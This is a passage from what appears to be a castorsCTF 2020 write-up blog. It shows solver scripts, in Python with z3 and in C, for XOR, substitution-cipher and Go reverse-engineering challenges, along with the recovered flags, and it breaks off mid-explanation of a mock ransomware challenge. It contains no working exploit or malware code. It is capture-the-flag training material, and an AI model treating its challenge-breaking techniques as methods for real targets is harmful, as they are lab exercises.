        <span class="n">r</span><span class="p">.</span><span class="nf">recvuntil</span><span class="p">(</span><span class="sh">"</span><span class="s">!</span><span class="se">\n</span><span class="sh">"</span><span class="p">)</span>
    <span class="n">r</span><span class="p">.</span><span class="nf">interactive</span><span class="p">()</span>
</code></pre></div></div><p>The <code class="language-plaintext highlighter-rouge">unrounds</code> function does the same thing as is done for each block in the <code class="language-plaintext highlighter-rouge">hash</code> function of <code class="language-plaintext highlighter-rouge">server.py</code>, except it does it in reverse. This allows us to retrieve the state that is common to all hashes. Then in the <code class="language-plaintext highlighter-rouge">find_highest</code> function, I go through each time in each day (combination of day of week and “am” or “pm”), and find by brute forcing which price is correct and get the highest correct value. Once this is done, <code class="language-plaintext highlighter-rouge">find_highest</code> returns with the time at which the price is highest and sends it to the server.</p><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ./client.py
[+] Opening connection to chals20.cybercastors.com on port 14423: Done
sat-am
thu-am
fri-am
wed-pm
sat-am
thu-am
mon-am
mon-am
sat-am
sat-pm
fri-pm
sat-am
tue-am
tue-pm
tue-pm
sat-pm
thu-am
sat-pm
wed-am
wed-am
[*] Switching to interactive mode
Even Tom Nook is impressed. Here's your flag: castorsCTF{y0u_4r3_7h3_u1t1m4t3_turn1p_pr0ph37}[*] Got EOF while reading in interactive
$
$
[*] Closed connection to chals20.cybercastors.com port 14423
[*] Got EOF while sending in interactive
</code></pre></div></div><h5 id="flag">Flag</h5><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>castorsCTF{y0u_4r3_7h3_u1t1m4t3_turn1p_pr0ph37}
</code></pre></div></div><h4 id="one-trick-pony-236-pts-116-solves">One Trick Pony (236 pts 116 solves)</h4><h5 id="description-1">Description</h5><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Author: hasu
nc chals20.cybercastors.com 14422
</code></pre></div></div><h5 id="solution-1">Solution</h5><p>When you connect to the endpoint given, you get a prompt and when you type something, you get what looks like a C-string literal (It’s actually just a python byte string but I didn’t notice that when I first solved the challenge) of the same length as your input.</p><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ nc chals20.cybercastors.com 14422
&gt; please give me feedback
b'\x13\r\x16\x15\x1c\x17S$=0\x1eK^VP9\x1cU\x11\x10&gt;\x08X'
&gt; aaaa
b'\x02\x12\x15'
&gt; ^C
</code></pre></div></div><p>The name of the challenge “One Trick Pony”, made me think of <a href="https://en.wikipedia.org/wiki/One-time_pad">one-time pads</a>, so I thought of XOR-ing my input with the output we’re given:</p><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ nc chals20.cybercastors.com 14422
&gt; aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11&gt;\x18Q\x14\x13&gt;\nR\x18T&gt;TR\x02\x13RV&gt;U\x0f\x05&gt;\x05Q\x0fV&gt;\x13R\x14TR&gt;V\tR\x0c@\x1c\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11&gt;\x18Q\x14\x13&gt;\nR\x18T&gt;TR\x02\x13RV&gt;U\x0f\x05&gt;\x05Q\x0fV&gt;\x13R\x14TR&gt;V\tR\x0c@\x1c\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11&gt;\x18Q\x14\x13&gt;\nR\x18T&gt;TR\x02\x13RV&gt;U\x0f\x05&gt;\x05Q\x0fV&gt;\x13R\x14TR&gt;V\tR\x0c@\x1c\x02'
&gt; ^C
</code></pre></div></div><p>As I hadn’t noticed it was a byte string and I’m generally prefer to use C for byte manipulation I wrote a “script in C”:</p><div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>

	<span class="kt">char</span> <span class="n">a</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"</span><span class="p">;</span>
	<span class="kt">char</span> <span class="n">b</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x02\x12\x15\x0e\x13\x12\"</span><span class="s">5</span><span class="se">\'\x1a\n</span><span class="s">RR</span><span class="se">\x11</span><span class="s">&gt;</span><span class="se">\x18</span><span class="s">Q</span><span class="se">\x14\x13</span><span class="s">&gt;</span><span class="se">\n</span><span class="s">R</span><span class="se">\x18</span><span class="s">T&gt;TR</span><span class="se">\x02\x13</span><span class="s">RV&gt;U</span><span class="se">\x0f\x05</span><span class="s">&gt;</span><span class="se">\x05</span><span class="s">Q</span><span class="se">\x0f</span><span class="s">V&gt;</span><span class="se">\x13</span><span class="s">R</span><span class="se">\x14</span><span class="s">TR&gt;V</span><span class="se">\t</span><span class="s">R</span><span class="se">\x0c</span><span class="s">@</span><span class="se">\x1c\x02\x12\x15\x0e\x13\x12\"</span><span class="s">5</span><span class="se">\'\x1a\n</span><span class="s">RR</span><span class="se">\x11</span><span class="s">&gt;</span><span class="se">\x18</span><span class="s">Q</span><span class="se">\x14\x13</span><span class="s">&gt;</span><span class="se">\n</span><span class="s">R</span><span class="se">\x18</span><span class="s">T&gt;TR</span><span class="se">\x02\x13</span><span class="s">RV&gt;U</span><span class="se">\x0f\x05</span><span class="s">&gt;</span><span class="se">\x05</span><span class="s">Q</span><span class="se">\x0f</span><span class="s">V&gt;</span><span class="se">\x13</span><span class="s">R</span><span class="se">\x14</span><span class="s">TR&gt;V</span><span class="se">\t</span><span class="s">R</span><span class="se">\x0c</span><span class="s">@</span><span class="se">\x1c\x02\x12\x15\x0e\x13\x12\"</span><span class="s">5</span><span class="se">\'\x1a\n</span><span class="s">RR</span><span class="se">\x11</span><span class="s">&gt;</span><span class="se">\x18</span><span class="s">Q</span><span class="se">\x14\x13</span><span class="s">&gt;</span><span class="se">\n</span><span class="s">R</span><span class="se">\x18</span><span class="s">T&gt;TR</span><span class="se">\x02\x13</span><span class="s">RV&gt;U</span><span class="se">\x0f\x05</span><span class="s">&gt;</span><span class="se">\x05</span><span class="s">Q</span><span class="se">\x0f</span><span class="s">V&gt;</span><span class="se">\x13</span><span class="s">R</span><span class="se">\x14</span><span class="s">TR&gt;V</span><span class="se">\t</span><span class="s">R</span><span class="se">\x0c</span><span class="s">@</span><span class="se">\x1c\x02</span><span class="s">"</span><span class="p">;</span>
	<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">168</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">putchar</span><span class="p">(</span><span class="n">a</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^</span> <span class="n">b</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>
	<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ gcc one.c
$ ./a.out
cstorsCTF{k33p_y0ur_k3y5_53cr37_4nd_d0n7_r3u53_7h3m!}cstorsCTF{k33p_y0ur_k3y5_53cr37_4nd_d0n7_r3u53_7h3m!}cstorsCTF{k33p_y0ur_k3y5_53cr37_4nd_d0n7_r3u53_7h3m!}caaaa
</code></pre></div></div><h5 id="flag-1">Flag</h5><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cstorsCTF{k33p_y0ur_k3y5_53cr37_4nd_d0n7_r3u53_7h3m!}
</code></pre></div></div><h3 id="reversing">Reversing</h3><p>I really appreciated the reversing challenges especially the GO(lang) ones as I had never done go reverse engineering and I learned a lot.</p><h4 id="stacking-50-pts-208-solves">Stacking (50 pts 208 solves)</h4><h5 id="description-2">Description</h5><p><a href="/assets/files/castorsCTF20/stacking"><code class="language-plaintext highlighter-rouge">stacking</code></a></p><h5 id="solution-2">Solution</h5><video controls="true"><source src="/assets/files/castorsCTF20/stacking.mp4"/></video><h5 id="flag-2">Flag</h5><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>castorsCTF{w3lc0m3_70_r3v3r53_3n61n33r1n6}
</code></pre></div></div><h4 id="xor-74-points-147-solves">XoR (74 points 147 solves)</h4><h5 id="description-3">Description</h5><p><a href="/assets/files/castorsCTF20/xorry"><code class="language-plaintext highlighter-rouge">xorry</code></a></p><h5 id="solution-3">Solution</h5><video controls="true"><source src="/assets/files/castorsCTF20/xor.mp4"/></video><h5 id="flag-3">Flag</h5><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>castorsCTF{x0rr1n6_w17h_4_7w157}
</code></pre></div></div><h4 id="reverse-me-288-points-104-solves">Reverse-me (288 points 104 solves)</h4><h5 id="description-4">Description</h5><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Author: Krekel

nc chals20.cybercastors.com 14427
</code></pre></div></div><p><a href="/assets/files/castorsCTF20/reverse_me"><code class="language-plaintext highlighter-rouge">reverse_me</code></a></p><h5 id="solution-4">Solution</h5><p>Looking at the main function inside of ghidra gives the following:</p><p><img src="/assets/files/castorsCTF20/reverse_me_main.png" alt="main"/></p><p>As you can see, it reads the flag from <code class="language-plaintext highlighter-rouge">flag.txt</code> calls some functions on the read flag, then prints the flag after those functions have been called.</p><p>If you connect to the given endpoint you can get those bytes:</p><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ nc chals20.cybercastors.com 14427
System Error...
Dumping memory...
64 35 68 35 64 37 33 7a 38 6b 33 37 6b 72 67 7a
Enter password: password
Wrong!
</code></pre></div></div><p><img src="/assets/files/castorsCTF20/reverse_me_FUN_0010096a.png" alt="FUN_0010096a"/><img src="/assets/files/castorsCTF20/reverse_me_add_2.png" alt="add_2"/><img src="/assets/files/castorsCTF20/reverse_me_FUN_001009c7.png" alt="FUN_001009c7"/></p><p>The function <code class="language-plaintext highlighter-rouge">FUN_0010096a</code> replaces the last newline (<code class="language-plaintext highlighter-rouge">\n</code>), with a null terminator (<code class="language-plaintext highlighter-rouge">\0</code>). The function <code class="language-plaintext highlighter-rouge">add_2</code> (renamed by myself in ghidra), adds 2 to each byte of the flag and the function <code class="language-plaintext highlighter-rouge">FUN_001009c7</code>, does some calculations on the bytes based on the value of the byte.</p><p>We can then reverse those functions using z3 to get the flag:</p><div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
</span>
<span class="kn">from</span> <span class="n">z3</span> <span class="kn">import</span> <span class="o">*</span>

<span class="n">a</span> <span class="o">=</span> <span class="p">[</span><span class="mh">0x64</span><span class="p">,</span><span class="mh">0x35</span><span class="p">,</span><span class="mh">0x68</span><span class="p">,</span><span class="mh">0x35</span><span class="p">,</span><span class="mh">0x64</span><span class="p">,</span><span class="mh">0x37</span><span class="p">,</span><span class="mh">0x33</span><span class="p">,</span><span class="mh">0x7a</span><span class="p">,</span><span class="mh">0x38</span><span class="p">,</span><span class="mh">0x6b</span><span class="p">,</span><span class="mh">0x33</span><span class="p">,</span><span class="mh">0x37</span><span class="p">,</span><span class="mh">0x6b</span><span class="p">,</span><span class="mh">0x72</span><span class="p">,</span><span class="mh">0x67</span><span class="p">,</span><span class="mh">0x7a</span><span class="p">]</span>
<span class="n">c</span> <span class="o">=</span> <span class="n">b</span> <span class="o">=</span> <span class="p">[]</span>

<span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="mi">16</span><span class="p">):</span>
    <span class="n">b</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="nc">Int</span><span class="p">(</span><span class="n">x</span><span class="p">))</span>

<span class="n">s</span> <span class="o">=</span> <span class="nc">Solver</span><span class="p">()</span>
<span class="nf">for </span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">)</span> <span class="ow">in</span> <span class="nf">zip</span><span class="p">(</span><span class="n">b</span><span class="p">,</span> <span class="n">a</span><span class="p">):</span>
    <span class="n">s</span><span class="p">.</span><span class="nf">add</span><span class="p">(</span><span class="nc">If</span><span class="p">(</span>
        <span class="nc">And</span><span class="p">(</span><span class="n">x</span> <span class="o">&gt;</span> <span class="nf">ord</span><span class="p">(</span><span class="sh">'</span><span class="s">`</span><span class="sh">'</span><span class="p">),</span> <span class="n">x</span> <span class="o">&lt;</span> <span class="nf">ord</span><span class="p">(</span><span class="sh">'</span><span class="s">{</span><span class="sh">'</span><span class="p">)),</span>
        <span class="p">(</span><span class="n">x</span> <span class="o">-</span> <span class="mh">0x57</span><span class="p">)</span> <span class="o">+</span> <span class="p">((</span><span class="n">x</span> <span class="o">-</span> <span class="mh">0x57</span><span class="p">)</span> <span class="o">/</span> <span class="mh">0x1a</span><span class="p">)</span> <span class="o">*</span> <span class="o">-</span><span class="mh">0x1a</span> <span class="o">+</span> <span class="mh">0x61</span><span class="p">,</span>
        <span class="n">x</span><span class="p">)</span> <span class="o">+</span> <span class="mi">2</span> <span class="o">==</span> <span class="n">y</span><span class="p">)</span>

<span class="n">s</span><span class="p">.</span><span class="nf">check</span><span class="p">()</span>
<span class="n">m</span> <span class="o">=</span> <span class="n">s</span><span class="p">.</span><span class="nf">model</span><span class="p">()</span>
<span class="n">sol</span> <span class="o">=</span> <span class="sh">""</span>
<span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="mi">16</span><span class="p">):</span>
    <span class="n">sol</span> <span class="o">+=</span> <span class="nf">chr</span><span class="p">(</span><span class="n">m</span><span class="p">[</span><span class="n">b</span><span class="p">[</span><span class="n">x</span><span class="p">]].</span><span class="nf">as_long</span><span class="p">())</span>
<span class="nf">print</span><span class="p">(</span><span class="n">sol</span><span class="p">)</span>
</code></pre></div></div><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ chmod +x solution.py
$ ./solution.py
r3v3r51n6y15yfun
</code></pre></div></div><p>I tried to submit the flag <code class="language-plaintext highlighter-rouge">castorsCTF{r3v3r51n6y15yfun}</code> but it didn’t work. So I tried reproducing the code in the <code class="language-plaintext highlighter-rouge">reverse_me</code> binary and realised that it didn’t work for the value <code class="language-plaintext highlighter-rouge">0x6b</code> (after processing), <code class="language-plaintext highlighter-rouge">y</code> in what I thought was the flag:</p><div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
	<span class="kt">char</span> <span class="n">a</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span>
		<span class="mi">114</span><span class="p">,</span>
		<span class="mi">51</span><span class="p">,</span>
		<span class="mi">118</span><span class="p">,</span>
		<span class="mi">51</span><span class="p">,</span>
		<span class="mi">114</span><span class="p">,</span>
		<span class="mi">53</span><span class="p">,</span>
		<span class="mi">49</span><span class="p">,</span>
		<span class="mi">110</span><span class="p">,</span>
		<span class="mi">54</span><span class="p">,</span>
		<span class="mi">121</span><span class="p">,</span>
		<span class="mi">49</span><span class="p">,</span>
		<span class="mi">53</span><span class="p">,</span>
		<span class="mi">121</span><span class="p">,</span>
		<span class="mi">102</span><span class="p">,</span>
		<span class="mi">117</span><span class="p">,</span>
		<span class="mi">110</span><span class="p">,</span>
		<span class="mi">0</span><span class="p">};</span>

	<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">16</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">a</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">a</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">+</span> <span class="sc">'\x02'</span><span class="p">;</span>
		<span class="k">if</span> <span class="p">((</span><span class="sc">'`'</span> <span class="o">&lt;</span> <span class="n">a</span><span class="p">[</span><span class="n">i</span><span class="p">])</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="n">a</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">&lt;</span> <span class="sc">'{'</span><span class="p">))</span> <span class="p">{</span>
			<span class="n">a</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="n">a</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">-</span> <span class="mh">0x57</span><span class="p">)</span> <span class="o">+</span> <span class="p">((</span><span class="n">a</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">-</span> <span class="mh">0x57</span><span class="p">)</span> <span class="o">/</span> <span class="mh">0x1a</span><span class="p">)</span> <span class="o">*</span> <span class="o">-</span><span class="mh">0x1a</span> <span class="o">+</span> <span class="sc">'a'</span><span class="p">;</span>
		<span class="p">}</span>
		<span class="n">printf</span><span class="p">(</span><span class="s">"%x "</span><span class="p">,</span> <span class="n">a</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>
	<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ gcc process.c
$ ./a.out
64 35 68 35 64 37 33 7a 38 7b 33 37 7b 72 67 7a 
</code></pre></div></div><p>As you can see from the output, the <code class="language-plaintext highlighter-rouge">7b</code> should be <code class="language-plaintext highlighter-rouge">6b</code>. I realised that this is where underscores would normally be placed and changed the <code class="language-plaintext highlighter-rouge">y</code>s to <code class="language-plaintext highlighter-rouge">_</code>s.</p><h5 id="flag-4">Flag</h5><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>castorsCTF{r3v3r51n6_15_fun}
</code></pre></div></div><h4 id="mapping-484-points-30-solves">Mapping (484 points 30 solves)</h4><h5 id="description-5">Description</h5><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Author: Krekel

After wondering around lost in the dark, we finally found the map!
</code></pre></div></div><p><a href="/assets/files/castorsCTF20/mapping"><code class="language-plaintext highlighter-rouge">mapping</code></a></p><h5 id="solution-5">Solution</h5><p>The binary provided a go one, because if you look at the end of the file using text editor you can see Go function signatures:</p><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ xxd mapping | tail
00204a20: 6974 0074 7970 652e 2e65 712e 666d 742e  it.type..eq.fmt.
00204a30: 666d 7400 7374 7269 6e67 732e 6861 7368  fmt.strings.hash
00204a40: 5374 7200 7374 7269 6e67 732e 436f 756e  Str.strings.Coun
00204a50: 7400 7374 7269 6e67 732e 5265 706c 6163  t.strings.Replac
00204a60: 6500 7374 7269 6e67 732e 496e 6465 7800  e.strings.Index.
00204a70: 7374 7269 6e67 732e 696e 6465 7852 6162  strings.indexRab
00204a80: 696e 4b61 7270 006d 6169 6e2e 6170 706c  inKarp.main.appl
00204a90: 7900 6d61 696e 2e63 7265 6174 654d 6170  y.main.createMap
00204aa0: 7069 6e67 5461 626c 6500 6d61 696e 2e6d  pingTable.main.m
00204ab0: 6169 6e00                                ain.
</code></pre></div></div><p>When executing it, it asks for a password and then says “Wrong!” when you enter the wrong password:</p><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ./mapping
Enter Password
hunter2
Wrong!
</code></pre></div></div><p>When I opened the binary inside of ghidra I couldn’t really make sense of what was going because go uses different calling conventions then those used by C and C++. I searched online for go calling conventions and found <a href="https://dr-knz.net/go-calling-convention-x86-64.html">an article</a> that explained them. Because of this I ditched ghidra for r2. Because arguments are passed on the stack in go, you have the disable variable analysis in radare2: <code class="language-plaintext highlighter-rouge">e anal.vars = false</code>. By reverse engineering I was able to understand that a mapping between characters was created (with a hashmap), in the <code class="language-plaintext highlighter-rouge">main.createMappingTable</code> function and that in the <code class="language-plaintext highlighter-rouge">main.apply</code> function, the mapping was applied to the password given and it was then base64 encoded. Once those modifications had been done the password was compared to the string <code class="language-plaintext highlighter-rouge">eHpzdG9yc1hXQXtpYl80cjFuMmgxNDY1bl80MXloMF82Ml95MDQ0MHJfNGQxbl9iNXVyMn0=</code> which after base64 decoding gave <code class="language-plaintext highlighter-rouge">xzstorsXWA{ib_4r1n2h1465n_41yh0_62_y0440r_4d1n_b5ur2}</code>. I now had to reverse engineer the mapping to understand how it worked and recover the flag. The way I did it, is by sending a string containing all possible characters and then using gdb see what they were getting transformed to. Using this information I was able to make a script to decrypt the flag:</p><div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
</span>
<span class="n">encrypted</span> <span class="o">=</span> <span class="sh">"</span><span class="s">xzstorsXWA{ib_4r1n2h1465n_41yh0_62_y0440r_4d1n_b5ur2}</span><span class="sh">"</span>
<span class="n">sol</span> <span class="o">=</span> <span class="sh">""</span>

<span class="n">b</span> <span class="o">=</span> <span class="sh">"</span><span class="s">ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!_.-{</span><span class="sh">"</span>

<span class="n">a</span> <span class="o">=</span> <span class="p">[</span>
<span class="mh">0x5a</span>
<span class="p">,</span><span class="mh">0x59</span>
<span class="p">,</span><span class="mh">0x58</span>
<span class="p">,</span><span class="mh">0x46</span>
<span class="p">,</span><span class="mh">0x47</span>
<span class="p">,</span><span class="mh">0x41</span>
<span class="p">,</span><span class="mh">0x42</span>
<span class="p">,</span><span class="mh">0x48</span>
<span class="p">,</span><span class="mh">0x4f</span>
<span class="p">,</span><span class="mh">0x50</span>
<span class="p">,</span><span class="mh">0x43</span>
<span class="p">,</span><span class="mh">0x44</span>
<span class="p">,</span><span class="mh">0x45</span>
<span class="p">,</span><span class="mh">0x51</span>
<span class="p">,</span><span class="mh">0x52</span>
<span class="p">,</span><span class="mh">0x53</span>
<span class="p">,</span><span class="mh">0x54</span>
<span class="p">,</span><span class="mh">0x55</span>
<span class="p">,</span><span class="mh">0x56</span>
<span class="p">,</span><span class="mh">0x57</span>
<span class="p">,</span><span class="mh">0x49</span>
<span class="p">,</span><span class="mh">0x4a</span>
<span class="p">,</span><span class="mh">0x4b</span>
<span class="p">,</span><span class="mh">0x4e</span>
<span class="p">,</span><span class="mh">0x4d</span>
<span class="p">,</span><span class="mh">0x4c</span>
<span class="p">,</span><span class="mh">0x7a</span>
<span class="p">,</span><span class="mh">0x79</span>
<span class="p">,</span><span class="mh">0x78</span>
<span class="p">,</span><span class="mh">0x6a</span>
<span class="p">,</span><span class="mh">0x6b</span>
<span class="p">,</span><span class="mh">0x6c</span>
<span class="p">,</span><span class="mh">0x6d</span>
<span class="p">,</span><span class="mh">0x64</span>
<span class="p">,</span><span class="mh">0x65</span>
<span class="p">,</span><span class="mh">0x66</span>
<span class="p">,</span><span class="mh">0x67</span>
<span class="p">,</span><span class="mh">0x68</span>
<span class="p">,</span><span class="mh">0x69</span>
<span class="p">,</span><span class="mh">0x6e</span>
<span class="p">,</span><span class="mh">0x6f</span>
<span class="p">,</span><span class="mh">0x70</span>
<span class="p">,</span><span class="mh">0x71</span>
<span class="p">,</span><span class="mh">0x72</span>
<span class="p">,</span><span class="mh">0x73</span>
<span class="p">,</span><span class="mh">0x74</span>
<span class="p">,</span><span class="mh">0x75</span>
<span class="p">,</span><span class="mh">0x76</span>
<span class="p">,</span><span class="mh">0x77</span>
<span class="p">,</span><span class="mh">0x63</span>
<span class="p">,</span><span class="mh">0x62</span>
<span class="p">,</span><span class="mh">0x61</span>
<span class="p">,</span><span class="mh">0x35</span>
<span class="p">,</span><span class="mh">0x36</span>
<span class="p">,</span><span class="mh">0x37</span>
<span class="p">,</span><span class="mh">0x30</span>
<span class="p">,</span><span class="mh">0x31</span>
<span class="p">,</span><span class="mh">0x32</span>
<span class="p">,</span><span class="mh">0x33</span>
<span class="p">,</span><span class="mh">0x34</span>
<span class="p">,</span><span class="mh">0x38</span>
<span class="p">,</span><span class="mh">0x39</span>
<span class="p">,</span><span class="mh">0x0</span>
<span class="p">,</span><span class="mh">0x5f</span>
<span class="p">,</span><span class="mh">0x0</span>
<span class="p">,</span><span class="mh">0x0</span>
<span class="p">,</span><span class="mi">123</span>
        <span class="p">]</span>


<span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">encrypted</span><span class="p">:</span>
    <span class="n">sol</span> <span class="o">+=</span> <span class="n">b</span><span class="p">[</span><span class="n">a</span><span class="p">.</span><span class="nf">index</span><span class="p">(</span><span class="nf">ord</span><span class="p">(</span><span class="n">x</span><span class="p">))]</span>
    <span class="nf">print</span><span class="p">(</span><span class="n">sol</span><span class="p">)</span>

<span class="nf">print</span><span class="p">(</span><span class="n">sol</span><span class="p">)</span>
</code></pre></div></div><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ./solver.py
c
ca
cas
cast
casto
castor
castors
castorsC
castorsCT
castorsCTF
castorsCTF{
castorsCTF{m
castorsCTF{my
castorsCTF{my_
castorsCTF{my_7
castorsCTF{my_7r
castorsCTF{my_7r4
castorsCTF{my_7r4n
castorsCTF{my_7r4n5
castorsCTF{my_7r4n5l
castorsCTF{my_7r4n5l4
castorsCTF{my_7r4n5l47
castorsCTF{my_7r4n5l471
castorsCTF{my_7r4n5l4710
castorsCTF{my_7r4n5l4710n
castorsCTF{my_7r4n5l4710n_
castorsCTF{my_7r4n5l4710n_7
castorsCTF{my_7r4n5l4710n_74
castorsCTF{my_7r4n5l4710n_74b
castorsCTF{my_7r4n5l4710n_74bl
castorsCTF{my_7r4n5l4710n_74bl3
castorsCTF{my_7r4n5l4710n_74bl3_
castorsCTF{my_7r4n5l4710n_74bl3_1
castorsCTF{my_7r4n5l4710n_74bl3_15
castorsCTF{my_7r4n5l4710n_74bl3_15_
castorsCTF{my_7r4n5l4710n_74bl3_15_b
castorsCTF{my_7r4n5l4710n_74bl3_15_b3
castorsCTF{my_7r4n5l4710n_74bl3_15_b37
castorsCTF{my_7r4n5l4710n_74bl3_15_b377
castorsCTF{my_7r4n5l4710n_74bl3_15_b3773
castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r
castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r_
castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r_7
castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r_7h
castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r_7h4
castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r_7h4n
castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r_7h4n_
castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r_7h4n_y
castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r_7h4n_y0
castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r_7h4n_y0u
castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r_7h4n_y0ur
castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r_7h4n_y0ur5
Traceback (most recent call last):
  File "./solver.py", line 80, in &lt;module&gt;
    sol += b[a.index(ord(x))]
ValueError: 125 is not in list
</code></pre></div></div><h5 id="flag-5">Flag</h5><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r_7h4n_y0ur5}
</code></pre></div></div><h4 id="ransom-493-points-19-solves">Ransom (493 points 19 solves)</h4><h5 id="description-6">Description</h5><p>Author: Krekel</p><p>Agent, we raided one the hideouts of a wanted cyber criminal. During the raid, we extracted what appears to be a POC ransomware. It appears the he left a picture for us, but it is encrypted. It is your task to reverse engineering this sample and find out what secrets lie within the file. We managed to capture some network traffic generated by the malware. Use it during your investigation.</p><p>We are counting on you.</p><p><a href="/assets/files/castorsCTF20/flag.png"><code class="language-plaintext highlighter-rouge">flag.png</code></a><a href="/assets/files/castorsCTF20/ransom"><code class="language-plaintext highlighter-rouge">ransom</code></a><a href="/assets/files/castorsCTF20/traffic.pcapng"><code class="language-plaintext highlighter-rouge">traffic.pcapng</code></a></p><h5 id="solution-6">Solution</h5><p>This was another go binary to reverse engineer. From the files we were given, it was already possible to guess that the <code class="language-plaintext highlighter-rouge">binary</code> had encrypted a file <code class="language-plaintext highlighter-rouge">flag.png</code> and we now had the encrypted version of it. The pcap would probably contain a key that was sent over the network and that would allow decryption. Looking at the disassembly in confirmed this. The binary gets seeds from a server and then sends back one of the seed which I assume was the actual seed used (I didn’t actually reverse engineer this part, to save time, as the worth case scenario of that assumption was me have to do work I should have done anyway). The binary then sets the seed used using <a href="https://golang.org/pkg/math/rand/#Seed"><code class="language-plaintext highlighter-rouge">rand.Seed</code></a>. The function <code class="language-plaintext highlighter-rouge">main.encrypt</code> is then called. It opens the file <code class="language-plaintext highlighter-rouge">flag.png</code>, and then xors each of the bytes with a random value from <a href="https://golang.org/pkg/math/rand/#Intn"><code class="language-plaintext highlighter-rouge">rand.Intn(254)</code></a>.</p><p>Because in the <code 